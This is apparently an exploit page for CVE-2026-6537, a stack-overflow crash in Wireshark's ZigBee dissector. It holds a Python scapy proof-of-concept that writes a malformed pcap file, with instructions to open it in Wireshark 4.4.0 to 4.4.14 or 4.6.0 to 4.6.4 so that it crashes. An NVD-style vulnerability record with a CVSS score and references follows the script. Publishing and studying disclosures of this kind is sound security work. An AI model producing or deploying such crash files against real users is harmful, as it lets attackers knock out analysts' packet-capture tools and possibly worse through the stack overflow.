CVE-2026-6537

#!/usr/bin/env python3 """ PoC for CVE-2026-6537 (Wireshark ZigBee Dissector Crash) This script generates a malformed packet that may trigger the DoS. """ from scapy.all import * # Construct a potentially malformed ZigBee packet structure # Adjusting payload to simulate anomalous data that the dissector fails to handle malformed_payload = b"\x00\x21\xcc\x00" + b"\x41" * 500 # Using Dot15d4 (ZigBee) layer if available, otherwise Raw try: pkt = Dot15d4FCS() / Dot15d4Data() / Raw(malformed_payload) except: pkt = Raw(malformed_payload) # Write the packet to a pcap file wrpcap("cve_2026_6537_poc.pcap", [pkt]) print("[+] PoC file 'cve_2026_6537_poc.pcap' generated successfully.") print("[*] Open this file in Wireshark 4.6.0 - 4.6.4 or 4.4.0 - 4.4.14 to reproduce the crash.")

{"cve": {"id": "CVE-2026-6537", "sourceIdentifier": "[email protected]", "published": "2026-04-30T07:16:41.103", "lastModified": "2026-05-01T18:15:45.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ZigBee protocol dissector crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndIncluding": "4.4.14", "matchCriteriaId": "77CF79F1-B53C-40A7-9570-A192D5A85ED6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndIncluding": "4.6.4", "matchCriteriaId": "B52139AE-161F-406A-B28D-F874CE8B68B6"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/issues/21125", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-24.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://gitlab.com/wireshark/wireshark/-/work_items/21125", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}